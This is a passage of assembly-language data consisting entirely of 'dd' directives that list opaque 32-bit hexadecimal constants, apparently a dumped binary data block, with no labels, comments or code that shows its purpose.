dd 5A548C2Ah, 35D0020Fh, 0ED828F5Bh, 0E55DA16Dh, 0E8280B1Ah
dd 72F70627h, 2C59C838h, 0D56A9742h, 45E6E2AEh, 0C5907112h
dd 0E8E0162Fh, 4A7EFE0Eh, 3313BAD1h, 0AE5ADFB7h, 69F8C27Ch
dd 0EAD78D6Eh, 288E04D3h, 0F9305A03h, 917693E7h, 65F134Ch
dd 134D1164h, 54E8080Ch, 891D06D0h, 2535AB8Bh, 81AC273h
dd 814090Ch, 542520EAh, 0E0222585h, 979AA7C9h, 4F55DA57h
dd 3BCFE181h, 0E90A9C9Bh, 989299A9h, 7E864FBh, 1028ED5Ch
dd 0BA276189h, 78A7BC5Ch, 13D8CE4Bh, 68A6D8D7h, 1954B027h
dd 96A4813h, 6AD95329h, 3B106840h, 0E97909E8h, 0B0799E37h
dd 199B943Eh, 0E4FBD2BEh, 0E107C082h, 4BF18006h, 930CB3Eh
dd 0CAF60243h, 0C55D055Eh, 8765FF28h, 0AD6DEAAh, 4C5A4A68h
dd 15FEBDBDh, 4A0A5692h, 0A94987BBh, 59F834DCh, 0DF44BF69h
dd 8B09B41Ch, 3F3C133Eh, 9A5E2FCh, 8F685E74h, 303D2ADCh
dd 220C9601h, 875A91F3h, 90AAC5DEh, 0A1685F1Dh, 0DD096A9Dh
dd 5217C21Ch, 0C649D0E9h, 0F672E429h, 8D664FFBh, 9ADE43FBh
dd 5568028Ch, 0B823A028h, 17583CB9h, 84BFE96Ch, 26CBEA7Fh
dd 0B16F4454h, 52330944h, 317B1D20h, 0DC9F64EBh, 96F50B0Bh
dd 0B0FEC8D7h, 897E2C75h, 2B123F06h, 0BF2A528Dh, 0A9689780h
dd 198955Ch, 0ED0621E7h, 0F7555D77h, 5F2A3079h, 0C8436ABFh
dd 35584E01h, 3B5207DAh, 7A187328h, 51E59D0Ah, 23D80282h
dd 68530042h, 23C4474Dh, 81E913AAh, 0FF53598Eh, 48C4E323h
dd 524BDA43h, 0CD0F129Ah, 0DB22DA6h, 67F6685Dh, 81C94120h
dd 7EF2D954h, 0FD5E0EA8h, 0D35685ADh, 612AB3EBh, 3098B378h
dd 95866330h, 585EC05Ah, 7FB769AAh, 1057D62Ch, 1249D8E9h
dd 0F4AAD687h, 82053825h, 0F009DC9Bh, 393EC604h, 0B52FCFB5h
dd 6C51ECEFh, 31C098AAh, 260FF87Ah, 245480BDh, 66F93163h
dd 73101201h, 70D5F774h, 0DE9FD41Ah, 4B65CFC0h, 0D647FBF4h
dd 663008BAh, 2D424A25h, 0F456DAF7h, 0BF7522Dh, 1BB01761h
dd 95E02FDh, 0E04657D8h, 4E89E958h, 7EF639FEh, 0B53A1A39h
dd 31992EBBh, 34B5673Eh, 9EAB102Ah, 8B26AA7Eh, 3BFFCE12h
dd 6B5D04EAh, 0BEDDFA15h, 0AFD36338h, 0CE62018h, 0BF4DEA10h
dd 642158C8h, 0B004E8B5h, 0B7C5E00Dh, 77A71C74h, 58C7D802h
dd 80842EC1h, 5C9CA7Dh, 7D877BEBh, 2362DF2h, 2D4294D4h
dd 0B695295h, 1D8D336Fh, 61021F8h, 0D3075AABh, 0C008774Fh
dd 8D2413F3h, 0D60C7860h, 546BAA45h, 0BE5E509h, 29286214h
dd 0FEDF083h, 89950E78h
dd 6196FD70h, 28C58002h, 23FFE830h, 0B90288CFh, 1E7797F1h
dd 0CAF7C00Ch, 733D2E78h, 0A3F902B6h, 487C7F69h, 2F97F42Dh
dd 42986848h, 0D5098E27h, 45681021h, 64CC2E25h, 0F59641F3h
dd 3B37BE0h, 5885523Ch, 9879DE3Ah, 0B2F85AF2h, 0E4E659Dh
dd 32E5C8BBh, 6931630h, 0C5658B8h, 72543F01h, 6642E97Eh
dd 5958223Ah, 0CB30B0F7h, 614E2F37h, 0FAB89E78h, 32BD6812h
dd 0D2D02FF2h, 5418A306h, 6B9F0C7Eh, 0A7F8051Dh, 5F36460Fh
dd 9808A884h, 77D44877h, 904F0BDEh, 799087EEh, 3FB6854Eh
dd 129D6210h, 34068851h, 2C94E7h, 5C5B792Dh, 50AA053Ch
dd 0E2312A27h, 9E855F10h, 0CD87FE84h, 4212E960h, 0FA614E8Dh
dd 25080A10h, 643AF55Eh, 0BDFD65F7h, 0F7ADD0B3h, 95A8CAD0h
dd 3BCFEEC0h, 41012F2Dh, 0A80804FBh, 90F94A2Eh, 0B3091AF6h
dd 0EA432118h, 53080915h, 69C70BECh, 0DCD6DCA6h, 0F09567Eh
dd 0D7148B7Ah, 6841E471h, 0A22F0191h, 5F87D046h, 554B9E5Dh
dd 28F10F2h, 0FEDD12F6h, 758709C5h, 0E0B9027Dh, 0A8677740h
dd 7DBF6802h, 54725D93h, 50DAE92Fh, 0B03CB520h, 593DE20h
dd 32687DB2h, 8BFE4557h, 0C2B3B8ACh, 40255399h, 418F132h
dd 217D161Bh, 96D1BCC8h, 580C625Eh, 0A1DE7941h, 982ACA97h
dd 0D440239Ah, 803E984Eh, 5999DBCh, 0CD68CF58h, 864AD92Ah
dd 0E7178852h, 0CDDD2A5Ah, 0B768164Ah, 8972B918h, 0F5DE42F3h
dd 9FC2FDC8h, 1C96CE14h, 0FEB94AD7h, 6BD7F197h, 1089FBF9h
dd 0F2201FF2h, 0E055764Dh, 0B412BF5Bh, 506A7155h, 51BC9BE9h
dd 3F8B911Dh, 5B22FA6Eh, 0E673E4FCh, 78B3719Dh, 1999AA73h
dd 45B5BCA0h, 74128854h, 0C64EFF20h, 89A41F13h, 9A681358h
dd 0A473A920h, 799A8C2h, 0E8D96451h, 29EE4BB5h, 6EF72A80h
dd 4F765A11h, 0A5F1CEECh, 0E3C00010h, 0C3801206h, 0A81EAB62h
dd 0E9A7816Dh, 0A96B71D4h, 9655C8BFh, 4BD5EF5Dh, 9B0F82EAh
dd 5A5D3C4Ah, 288A70CAh, 9A543BAh, 406D43Eh, 3444F355h
dd 6E9CC142h, 0F3A86AAEh, 0A2F1F084h, 0BD55014Eh, 37E36E27h
dd 0C0684AF9h, 0BA482934h, 4711901h, 96816D93h, 780BCF35h
dd 6C589866h, 685C5C7h, 89390E2Dh, 905BCAEFh, 0B72367FEh
dd 0E67FFBD1h, 390B9723h, 30AFB02h, 518EC7F1h, 4B06421Ah
dd 0FC504250h, 31C95341h, 348BF0F0h, 2457A9Bh, 0A20B98AFh
dd 0BBA2840h, 2F686D5Ch, 589D1081h, 0EAB0E7B5h, 572C0DA1h
dd 0E985492Dh, 20FA78B8h, 40478F66h, 72C5B49Ch, 0E4E05D0Ch
dd 7968805Fh, 0D6B76C70h, 14DDC90Fh, 53F6B570h, 0DD0BC5A0h
dd 5E49111Dh, 0F52103EEh, 4B3B9DE9h, 0BD5A1659h, 2AEB89EFh
dd 8253F9CAh, 69399E25h, 1694EC53h, 62334C2Dh, 0B3C74013h
dd 69F8BFCCh, 4943D1B7h, 739CE95Eh, 0B9D979F3h, 837979AFh
dd 0B64B504h, 0F9868207h, 0CDA9E1h, 0F016EB80h, 14F9EB0h
dd 7525F4B9h, 0F0AC303Ch, 90FE0DD7h, 69A9E9F6h, 255CE697h
dd 0E65B4BA7h, 4EE4D43Eh, 0C440D351h, 1C5EAB45h, 4B00EC16h
dd 2C843FBAh, 0ADF64BE9h, 7DF71749h, 4A0BE8F4h, 0D461BEA7h
dd 0AC6E9A2Ch, 39BEA561h, 0BDF1C80Ch, 5E9EAF9Eh, 7A0EB68Bh
dd 4B93FE15h, 1282A3A1h, 0F8F6595Ch, 10DCC302h, 0DFE1317Ch
dd 57E26E2Dh, 0F2989D12h, 0FE5885h, 39115CB7h, 2F9482BBh
dd 0EFC9A5Fh, 90C5860Ah, 1A1DCA8Bh, 7BF0BBh, 0C5CD3558h
dd 0C601DAA8h, 13BB36F1h, 13FB4DE9h, 30378A42h, 138D7651h
dd 0B9500122h, 379C48DEh, 37C17B31h, 0E49059CEh, 135F3BA6h
dd 78B7A4F9h, 99422927h, 22A9FFh, 5715E25h, 6C350452h
dd 0BB679A7Bh, 6902FBDh, 6ED90993h, 0BF02C5D7h, 0B3D44B70h
dd 0BD0BD3DCh, 6AB6D1E6h, 6C3D04B2h, 0A0C0EFD9h, 4C405938h
dd 0FE173323h, 66CAAF4Fh, 0C4595548h, 482E1948h, 26C58C75h
dd 6941AA1Fh, 0FA4B842Fh, 0B9960C69h, 5CD4E038h, 897FFC9Dh
dd 0D15765CFh, 27C96FCBh, 7F95E3F8h, 5230649Eh, 0CFEE234Ch
dd 0BD477E2Fh, 9C63305h, 0F7075D08h, 4659C36Bh, 0DC10EAFCh
dd 53FC4F08h, 0B0D75E2Fh, 4A43E98Fh, 0C625E893h, 6103E9Bh
dd 0F662F380h, 7000AD3h, 665BD988h, 95517E68h, 338775FCh
dd 0ECCAE120h, 50F70267h, 1A0CFFD7h, 90C07458h, 0B353000Bh
dd 30F2B667h, 0F1E65BDEh, 0D771E917h, 0F0C866C4h, 59529C5Eh
dd 579D2CB7h, 0AEBA2721h, 0A5CDCB5Ah, 0BC9C5CD0h, 6F299D82h
dd 0B7922F22h, 740F6CC4h, 6B4E8756h, 0D68CA9AEh, 4C460843h
dd 0D0458F68h, 902944BFh, 10F7F337h, 5A121A0Eh, 5A63AF55h
dd 0BE7F0378h, 43064560h, 7F71E3D1h, 0E3527D72h, 4FDFBCFh
dd 0E10DF92Fh, 86F3B862h, 7B9A4EDh, 22B13E3h, 0C1EB6435h
dd 70C24A2Fh, 0FE9FB03Ch, 74314245h, 24787DABh, 7727C20h
dd 4570482Dh, 95A8A41Ah, 5C37BDA7h, 6F9F708h, 69FB8C96h
dd 0CED2B0E3h, 275047BFh, 37637ED9h, 0E93BE065h, 6F90415Dh
dd 4B30C8B0h, 0E9DD7594h, 5101741Eh, 0E9488405h, 0F33FB770h
dd 57C9C0E0h, 0B0631C75h, 36AE0943h, 6AA4482Ch, 5E9DD356h
dd 4DC180F7h, 0E6E8799Ch, 2060362h, 7E1D4046h, 0FD8A044Ah
dd 1698F8E9h, 8D164512h, 1F7353A9h, 12C2D5A5h, 5EE7A6C8h
dd 7DEE3EC5h, 0F7D2DDDh, 13B05305h, 0AACA4F0Bh, 0C00FBA5Eh
dd 5414DAE3h, 4E772728h, 47AB66Bh, 0C8B5EEE9h, 5D4BF5D3h
dd 5CC904ACh, 49AA3508h, 1866801h, 3BE5EDECh, 12BAAF12h
dd 1616B96Ch, 0A004E829h, 0BF00DFDBh, 47F95661h, 59B522BAh
dd 4F5528C0h, 0BA1917F1h, 9360599Dh, 0C5D9977Eh, 605A4126h
dd 2D9FA216h, 49821AAEh, 0D9DDB215h, 0A5AE4F87h, 0E4D38BCh
dd 372DAAB4h, 452DC100h, 48D8B825h, 47201B30h, 0A8E6E180h
dd 661A4114h, 93913AF8h, 0B0011568h, 3A99F6BAh, 7EEC7B21h
dd 0EF254BB4h, 408D310h, 6299685Eh, 0E9ACF092h, 0E22B5A42h
dd 777AC7F7h, 90465D09h, 9D497E9Fh, 0B6C2EFE9h, 64DDE7Ah
dd 12D260Dh, 44AFED0Fh, 0DFB44E7Dh, 787445F1h, 0C2DE2F1Ch
dd 56E77DC8h, 1D843033h, 0CBD1213Ch, 905D7F1Eh, 3D9EEE47h
dd 0FD59584Dh, 0E779E909h, 0E2050C20h, 0D3907A36h, 702304Ah
dd 0DF03FC68h, 822059C5h, 2F684740h, 7B98624Eh, 5781ED7Fh
dd 0ABE9817Bh, 0BD108162h, 557A2150h, 9C72F42Eh, 0AAF44216h
dd 2FBDA784h, 55946882h, 925174A7h, 4A54577Dh, 0A394DFD2h
dd 0D684E913h, 6267E098h, 1538DBFEh, 3F4034C4h, 59E998B4h
dd 30C46EE2h, 419AEFD0h, 0CE13134Dh, 783DA26Ch, 90412120h
dd 0D336FEAFh, 3BD5B187h, 892F26A8h, 7727AF74h, 0D1BD01BCh
dd 68A0CC85h, 0B9B09B4Eh, 765BD54h, 8E1CE984h, 532CCCFEh
dd 7791CEABh, 0FB682A28h, 8B3E24E9h, 0D2D69DFFh, 0B87BE05Eh
dd 0F713A100h, 3CF3564h, 0E0167F46h, 0BB6EB578h, 0D690F8C9h
dd 26046F7Bh, 2CF7CA65h, 87245080h, 24674F08h, 0BF570B74h
dd 29E8A9FDh, 0E4B0FD7Ch, 6C3B82EEh, 8292DD0h, 5A090864h
dd 72D47456h, 0B032367Ah, 762DE532h, 84B10B9Bh, 803C01D7h
dd 0F1CCF0E1h, 9D7ABD4Ah, 7F91762Fh, 9970BB38h, 0C7D7F780h
dd 0FFE7C104h, 0CC78528Bh, 0A51540BFh, 462F3761h, 0CB5DD00Ch
dd 0CA6489A9h, 17ACBD58h, 81681676h, 161DF61Fh, 0C9F9B9E9h
dd 0E58EA25h, 9837B89Dh, 62AF965Ah, 65567942h, 2354F3BFh
dd 0F77A660Fh, 0B3FE7B8h, 68CFA70Ah, 0B0DFB31Eh, 0C3FEC73Fh
dd 32770B9Eh, 8A0D14Bh
dd 0B82059E0h, 0DE6E6C0Bh, 0A8F5F92h, 0C04A4976h, 930B52F6h
dd 8915D1D6h, 794E8FAEh, 0BCBF0F2Eh, 0B0139909h, 81449520h
dd 5A30DB01h, 20C3757Ah, 1F172791h, 0BA0AC850h, 0BB8A0FB5h
dd 13118F0Eh, 68D2CCEEh, 0D979D72Eh, 42DA7C2h, 7CACBE58h
dd 9502FAD2h, 0C864E957h, 2A6853FFh, 5DF6512Ch, 376A965Dh
dd 94E9582Ah, 2980039Fh, 0B6C0B9EAh, 84A6C42Ch, 5AA8709Fh
dd 146BFDDh, 0BCEFEC4Ah, 49752592h, 0E02E667Fh, 6440C106h
dd 36BC9897h, 865D734Ch, 0B63BE033h, 1B68F058h, 91B3C571h
dd 0A453FC67h, 0A97AB8BAh, 12EBBD6Eh, 42F26895h, 0BB2EFD84h
dd 2060E7D9h, 0BDBB4019h, 285FBF03h, 2C58355h, 5437EDA6h
dd 8C8E2C51h, 682A8893h, 0D846A05Bh, 28D74E50h, 7B8F5FCEh
dd 0FCA23267h, 0DB52ED17h, 18EDC0BFh, 5A069CFAh, 0A1699104h
dd 7AB02316h, 0E829F92Fh, 7ACB8010h, 7FD42D8Ch, 0D3A79A59h
dd 9AA53B06h, 5698E8FBh, 285D2C24h, 71D63E73h, 0C168808Ah
dd 84367B49h, 59090802h, 90BE252h, 806AD00Dh, 0DF54EC2Ch
dd 417895AEh, 0B3B2D733h, 7872B9DDh, 0EB34302Eh, 0EE3F40A0h
dd 57A31628h, 5B0ED3CCh, 0F774ABC2h, 0A9A29694h, 1458F2C9h
dd 0C61807Bh, 0FD309806h, 97F3BF5h, 6D71599Ah, 0E6369962h
dd 0EE68165Ah, 42DE30Ah, 7BFC6778h, 81A185AEh, 41D5D5Bh
dd 0F0AA1684h, 0A1B15B09h, 71C7A6Bh, 754274B3h, 215C4901h
dd 0E9090C68h, 6880A11Fh, 19331645h, 3D1ACA40h, 0B9849107h
dd 0AB973274h, 7F011A82h, 7B494B66h, 0E3B81D02h, 0D14B6042h
dd 4EE382E0h, 0F446DD5Ch, 0D027B174h, 25B56445h, 0CF5F6946h
dd 5B4B28FFh, 4E07E35Ch, 0BB9673ECh, 4B6741C1h, 0E0F7FE02h
dd 0BD28ECF9h, 0F0546E8Bh, 0DC21D76Bh, 88367B68h, 1DBA435Dh
dd 243F8B5Ah, 6881987Ch, 6C156227h, 3F60220h, 3A757B6Eh
dd 1003EED1h, 7C4F45CBh, 496FE56h, 14DF0493h, 20818258h
dd 152DECF2h, 4C24659h, 11C621A1h, 38FDAE29h, 98DBC700h
dd 0C9E96F52h, 0C1DB8262h, 9ED45758h, 0E4E8F7C4h, 4E715D05h
dd 5621C587h, 8871F4B7h, 8A405398h, 0E1DD4B87h, 5503928Ch
dd 175D422Ch, 0FCD5F75Bh, 0CCE9C7C6h, 8B8E5489h, 50D67AD6h
dd 5FE90278h, 688902ECh, 69547314h, 3D7A0A60h, 0CC296250h
dd 3CA97E9h, 0B4700D7h, 0B8424069h, 0A6629705h, 4BF2BCD7h
dd 0E235BF5Ch, 3DBC3485h, 20B55928h, 0BD002A46h, 72437393h
dd 0D497F581h, 522E060Dh, 2CEC838Dh, 942DE330h, 0FD4E0B46h
dd 109428B6h, 9C462C0Ah, 0BC1FC66Bh, 6E684127h, 0F97DC20Fh
dd 0BE1CA69h, 94C48AF4h, 6257C1F1h, 0FA2984E2h, 5A268C7h
dd 9C41D72Fh, 0B6136E34h, 4B8F37A3h, 5D777590h, 256ECFBFh
dd 53F1C4F4h, 882ECC78h, 4A2A97D4h, 25A231ECh, 0E08089D8h
dd 0F11E178Bh, 76AF0124h, 0F7BE58FFh, 0A80A0C92h, 0B838AE0Ah
dd 4951DF09h, 2FCBD1E9h, 5307A665h, 8D66AB31h, 1A8F682Dh
dd 0A20C01Fh, 968C4825h, 0B4B1B817h, 0D124D6Dh, 0E3EAFC78h
dd 1DC01C6Fh, 9F30F725h, 77A0F821h, 0B880609Dh, 861F042Dh
dd 84C6095Ah, 25E0FC7Bh, 25149659h, 12011968h, 95F384E9h
dd 5BC230E9h, 6A1929ABh, 0F2BB3B34h, 1796C1B6h, 0D87F5828h
dd 17CB9202h, 2D648031h, 753809E2h, 69A7016Dh, 0F001211Eh
dd 68074005h, 109E1F34h, 0A9AE5764h, 42BF4B58h, 9947315Fh
dd 0E95EDCF0h, 0BA52B931h, 4FE4A86Ah, 2EE987B4h, 0BBF24466h
dd 0F3FCA513h, 6BA3500Ch, 2202C182h, 0C027C3CCh, 0EBC07C06h
dd 0DB4CF604h, 0C4802CCh, 60102CF1h, 173058D0h, 85FCE9D9h
dd 0F49DFFCFh, 0C0BE6BF4h, 3BF1B91Ah, 0F394737Eh, 90EB2117h
dd 603629D9h, 7A56813h, 25DF638Ch, 190071E9h, 0E10D84BDh
dd 4AAB6348h, 2FE94BF4h, 672DEA8h, 162A5F09h, 88270057h
dd 9826D8CEh, 0BE10EED3h, 0C62C14B7h, 4E81Dh, 663AB252h
dd 8B4EB753h, 0FEB5C1BEh, 0C9B232CAh, 5DC90BB7h, 2C0A4046h
dd 9C39E923h, 0BCE5898Ah, 0C17D8507h, 29796851h, 75FC326Ah
dd 0C2819C76h, 693E2ABAh, 1F36DEDh, 0BB49C317h, 2B2921FAh
dd 0B924CFDh, 0EBF243D2h, 64916AF5h, 0C002D291h, 340811DCh
dd 88590935h, 27D796DFh, 9A8395E9h, 8CB9D601h, 0E6A76E79h
dd 0EED0F02Fh, 0C4C48D4Ah, 84EFE3EBh, 0B5AC3E4Eh, 0B281AFC4h
dd 12F24CABh, 0F6A46DD6h, 0AA141EE4h, 2785C93Ah, 65C1659Bh
dd 2DA736EEh, 0BBECE17Ah, 0D8B6C83Bh, 685A5B06h, 37C91312h
dd 645DA1CDh, 95FDEE07h, 7B312206h, 10F0C53h, 9C9DEFC5h
dd 0B27199C5h, 0DDBA7782h, 0D9F7B3EAh, 55956222h, 0F3D8F0D4h
dd 0C2B1CBCEh, 0A8E030DCh, 209662Bh, 61DEE781h, 8472755Eh
dd 0D4EF872Ch, 582D8B28h, 67C8D638h, 9EF509BDh, 8A49C22h
dd 7C273FA6h, 0A94E47FCh, 162D5B5Dh, 0F850FE2Dh, 93CC50E4h
dd 9FFE6880h, 540A66D3h, 0BF82736Ah, 802A0FE3h, 0F41DBB9Dh
dd 0E9840BD5h, 0D94401C6h, 5AF416E2h, 0F72514B4h, 558203EDh
dd 90276668h, 1610832h, 0CF814E30h, 31A10280h, 53896018h
dd 89782C16h, 0E94B60BAh, 21919709h, 574A102h, 0EA8AD05Bh
dd 1AE1E07Dh, 20D82952h, 6F4A0829h, 0A034B505h, 0C300BBB2h
dd 81547360h, 4502FCBh, 0C4E93625h, 6E31FE94h, 416A5A9Fh
dd 0D42A96BCh, 17D92013h, 5E767E74h, 19AEE204h, 45C03991h
dd 131ADFCAh, 4EFDE9FAh, 3DC95EDBh, 0A057B32Bh, 276CF7BDh
dd 4E227EBBh, 6074D7DAh, 33C477EAh, 767051F6h, 0E2A5DEBDh
dd 83095D7Bh, 8A5F2DD8h, 87895D5Bh, 639ED146h, 0A9228509h
dd 7CBB853Ah, 0FDE161BEh, 9AE20787h, 0F64D6C06h, 0FE1AD0CDh
dd 7731B13h, 0D3FB878Fh, 694183B1h, 0C5F7E0D2h, 0BB9BDD4h
dd 40C5B1Fh, 41FB0549h, 8B9BF432h, 4FA07898h, 8A4E8DB9h
dd 54E098D4h, 0B509860h, 9A80E948h, 0E5816CE4h, 5D162A83h
dd 0F809FFCAh, 19D7505Fh, 51C7Bh, 0F217C3F1h, 53050585h
dd 0C1315B58h, 0F0B2E2FFh, 0BDC8315Ch, 75EFD438h, 0F018C4BFh
dd 0B4104013h, 0D45E3170h, 0F53F87C2h, 0D6EB5361h, 64C0941h
dd 56550042h, 117ADA68h, 89905E17h, 296DCE0Bh, 270A054Fh
dd 81EC5DD5h, 34F80925h, 0F682D37Fh, 42B5091Eh, 78F630D7h
dd 3F99D44h, 10E2068Ch, 0C1C3A35Fh, 6D226964h, 153CE709h
dd 6FCD4702h, 5907C320h, 0B1335E38h, 88CCA65h, 9097AD3Ch
dd 8085EE89h, 0E6078146h, 37CE515Ch, 0DF427DC2h, 56988366h
dd 4576C80Fh, 55E94533h, 0F002D1AAh, 72A4103Ah, 0AD7C599Fh
dd 0C3A44B8Ch, 34B51E16h, 0D36810E0h, 95E348h, 42E30C6Eh
dd 30E9EB21h, 0D7C7796h, 37002C7Fh, 0CB440558h, 0A2319F94h
dd 46B880A4h, 0EB6AA05Ch, 0DA2909C1h, 874BBBD3h, 4DCF0559h
dd 85F91C80h, 0E1454BCCh, 84BE0407h, 5BAECE41h, 0E909259Ah
dd 0B110AEC1h, 151B70BAh, 754C3137h, 0E9D31206h, 0D064C067h
dd 0FFE480EDh, 1DDD06D4h, 5AFCB48Dh, 3A8EAD61h, 0BA599E78h
dd 2A4ABFC0h, 1260F09h, 0ACFA8F9h, 102083C1h, 7FC52CC1h
dd 0B13B637Eh, 0B6836A4h, 0E6256568h, 71D824E0h, 0DACD9D4Ch
dd 0F560752Ch, 0FB83EFB0h, 3A41E932h, 2CB2B72Ah, 542D5453h
dd 0C760AFACh, 0D44FA7E9h, 4E5F678Ch, 8456E956h, 0E3ACE551h
dd 8A6857CBh, 0E65A68DEh, 5AC9C8F8h, 0D0BB31DDh, 0FEDE122Ah
dd 0D98A5A3h, 0F467F8E9h, 1A72D765h, 75944A63h, 0E247768Eh
dd 36D25A58h, 5C482AC0h
dd 628238ECh, 5DD6EE16h, 4B4F7Eh, 79743C18h, 0BECED55h
dd 311E01B6h, 8E9FE29h, 0FFA3544Bh, 0BA976CE2h, 5B7DD083h
dd 3BE5D1B3h, 0E9AC05FCh, 38FAF2B7h, 85B5D4C6h, 0CAAFD1Ah
dd 309144Bh, 0C53F7AB5h, 0ECF4E908h, 4D350293h, 0FF43C35Eh
dd 0EE427B04h, 0A05BE8A2h, 0F78ABB91h, 4C6532DBh, 407C46AEh
dd 7F9D3039h, 0A528F895h, 4B41519Dh, 0F270EC02h, 420AF3FDh
dd 0C220390Dh, 3E774250h, 932F5289h, 0C1FE38C0h, 0DE18639h
dd 8D2F6D4h, 0F1801084h, 64A0BFFAh, 0F8288869h, 4022C0Fh
dd 18865B5h, 7C4ECAABh, 79B7A925h, 6C7227C9h, 8040820Dh
dd 0A92A0C52h, 55C3256Dh, 0AA9279AFh, 0E95F85C0h, 0E12C70CEh
dd 0A57C616Fh, 0D55CA738h, 9507F44Fh, 3BD0F7h, 3864DB8h
dd 0C00505CCh, 0C2116127h, 7812D90h, 8958E7E9h, 0E0505344h
dd 0FE650526h, 985B687Bh, 6D680707h, 0EC770923h, 17EE89DAh
dd 0BF19012Eh, 703E15B9h, 6AF54943h, 493F3B3h, 7CC55D8h
dd 0DDF1D028h, 492C972Ch, 5845B2h, 40BC584Bh, 0F2A135B2h
dd 0CC565266h, 5E776BBEh, 55E499B0h, 9AEE0AC3h, 3121B609h
dd 0EA174F58h, 0C60A8471h, 0E60322B9h, 0C1FB478Fh, 0C22206ABh
dd 0E0EF3359h, 0CE040B6Ch, 0F6324245h, 0B4F16EEh, 3160FFBAh
dd 14B7ECFBh, 0B9C030A9h, 7A9DC117h, 79CB092Fh, 5A0A10E7h
dd 0E90130EBh, 34CBEA15h, 0C05AC95Eh, 0EFD6843Bh, 257D8AA6h
dd 0DBA66043h, 1807C85Ah, 0F7422661h, 3E02C9Dh, 52474C68h
dd 4FE4396Eh, 0A188B96Dh, 0A36EA268h, 0ABE985EDh, 0EDAF26D4h
dd 71731016h, 94B1510Eh, 1065F213h, 810367D0h, 0CE3718E3h
dd 58C5163Fh, 0E9A0A5B0h, 8C544A0Dh, 464FEDCEh, 0D31089F3h
dd 1D307DE8h, 11050A37h, 50D90964h, 7E06D8F7h, 3F80A40h
dd 0D7F9810Ch, 966B5A89h, 45D16CDh, 0C58B29Bh, 13EAF85Ch
dd 4835413h, 90F69FAEh, 7399BB2Ah, 5D9531E8h, 0B45BA307h
dd 0F716835Fh, 1101C63h, 691F4C7Ch, 139EEEDDh, 4C7BCA36h
dd 2F9B5C52h, 60F7594Eh, 5167697Eh, 0E213CDFCh, 5A1E4607h
dd 0BFF4D025h, 21618165h, 2D205DE8h, 0E4688008h, 5339CA97h
dd 181FACCAh, 70EF4B6Ah, 2F1A4616h, 12591EEAh, 0A86C56FAh
dd 21045F8Ah, 98FB30DBh, 7B5EEBF2h, 5016B6B6h, 0CB9C0853h
dd 0FE930501h, 167BC808h, 1DDF0049h, 90D415Dh, 7876AAB0h
dd 2DBB3AE1h, 7E65FD14h, 2F0B3C17h, 75B22B1Ch, 0C9E180B3h
dd 8EA97A3Eh, 65B2AF93h, 0B4570B16h, 614BD61Dh, 49A9B08Ch
dd 0E8893A50h, 1ADB32E2h, 5D98BEE5h, 966F0256h, 15B1E968h
dd 59CC6948h, 7DC7801Ch, 6C4EFCBh, 7833177Eh, 0A85C17EBh
dd 0AE50BE53h, 7D5E2F08h, 27DD2C8Bh, 0F0E9E930h, 0A25B9DA8h
dd 7E5854E2h, 340BC95Eh, 9E40EC5Dh, 606E9C1Ch, 0CB625758h
dd 0F18C90E6h, 87C10655h, 1ACF21EAh, 54B9DC4Ah, 34FD5BCBh
dd 0C1E927EAh, 5A667B02h, 37CAF563h, 0A3059DC8h, 4ADE5D00h
dd 5FCF0735h, 0F0F8BD9Ch, 0F8E5A0B7h, 940C3674h, 0AE5C6914h
dd 546427C2h, 0C2DD69A7h, 1AAE56E0h, 0B5018958h, 64736113h
dd 0B30543B5h, 0DE21EEB0h, 8E905D85h, 1E9D6851h, 0D21D586Ch
dd 0F617450Ah, 4C681D0h, 0DE6E3069h, 0C484F595h, 84698564h
dd 0DEF4BC7Eh, 6F944D12h, 490F8DD1h, 0BC0587BFh, 0BB8030EAh
dd 45EE77C1h, 0DC8BFF02h, 0E42E8CC0h, 59BDFE79h, 5EA28BABh
dd 0BF1C6577h, 0F4061B17h, 25050EACh, 0F3814C72h, 2EB527C0h
dd 0E8D34FF7h, 0B8A84BE6h, 12DC8040h, 0FC2710D6h, 0C6C5692h
dd 6D7F5DE9h, 31C001F6h, 0EEC14F2Bh, 383FF907h, 99A04F19h
dd 54F77A87h, 7C5CF03Bh, 2EF4B581h, 9A0C0053h, 0E91CF538h
dd 61C0BAE1h, 6B7810C3h, 93295D3Ch, 0CBE0841h, 9E7E683Ch
dd 7526C3F8h, 0D5EE3F25h, 0E95DFF84h, 0C84584C0h, 72F02107h
dd 2C07799Ah, 0B7535A40h, 0D7F60BC9h, 0F102B450h, 157F709Eh
dd 544608F2h, 0E701F5ADh, 848DC580h, 0D5F65206h, 0BCD978C1h
dd 0C5C4AD2Eh, 0ECB51FF2h, 2AFCC83Fh, 461DC09Eh, 75DCF68Bh
dd 7C887BC5h, 12D3DE0h, 295AE3DEh, 0E13ED58Ch, 7FB467A1h
dd 0D4A700E8h, 0AA749493h, 0BD830DC7h, 2D100722h, 0FBB470E6h
dd 1FD0387Fh, 74A60634h, 0D1DF281h, 4CD00132h, 0A464411h
dd 0F1226E0h, 5CCE02E6h, 1E117B9h, 60DAD14Bh, 1E702E69h
dd 595C7697h, 2FD56542h, 5DEAB4D0h, 78613C5Fh, 0E955C282h
dd 0D97F8256h, 1381C489h, 0FB6C6FFh, 0A8DEFE9Fh, 6CF205AAh
dd 0B8290146h, 0C0A9098h, 89035868h, 314140FFh, 6590C27Bh
dd 0FD7B4417h, 0D1D7AC05h, 0BD55C4C0h, 2E5D145Ah, 541C820Ch
dd 65456DFFh, 0AE442E26h, 0C52CA8BBh, 3E986AA5h, 37BC5B77h
dd 0BC614439h, 6AFAC529h, 752A88E3h, 1C4C9585h, 32B1589Dh
dd 581CABD2h, 0EB8AE9DFh, 79A227CCh, 823AB236h, 0FB4E7708h
dd 4C4CF029h, 988F990Bh, 0C58ED79Fh, 0BEDA6877h, 0C8568533h
dd 0EA412DBCh, 0E954C48Bh, 0D253D76Dh, 2E5E1289h, 74DECB62h
dd 5CAC8055h, 335B48F8h, 6BFD8EA8h, 20854D81h, 0FEE6F98Fh
dd 755D3FC2h, 794B7DD1h, 681F30D6h, 0B7A62642h, 0D6F60F0h
dd 911EC98Bh, 0C05D419h, 6D151AF4h, 6A579DAAh, 480D7A78h
dd 38A1AE5Dh, 0F1BF049Ch, 1447F413h, 5605C0B9h, 0E2F528E9h
dd 0F154F0DBh, 3C039527h, 3C2EB8AFh, 2B92F2ADh, 716FBE41h
dd 0A13B4F42h, 5B070285h, 359DECC0h, 8D0B3EE7h, 5FAC06E6h
dd 0C3E0B5Ah, 158F612Dh, 0AB458B0h, 9455574Eh, 0DE09C21Ch
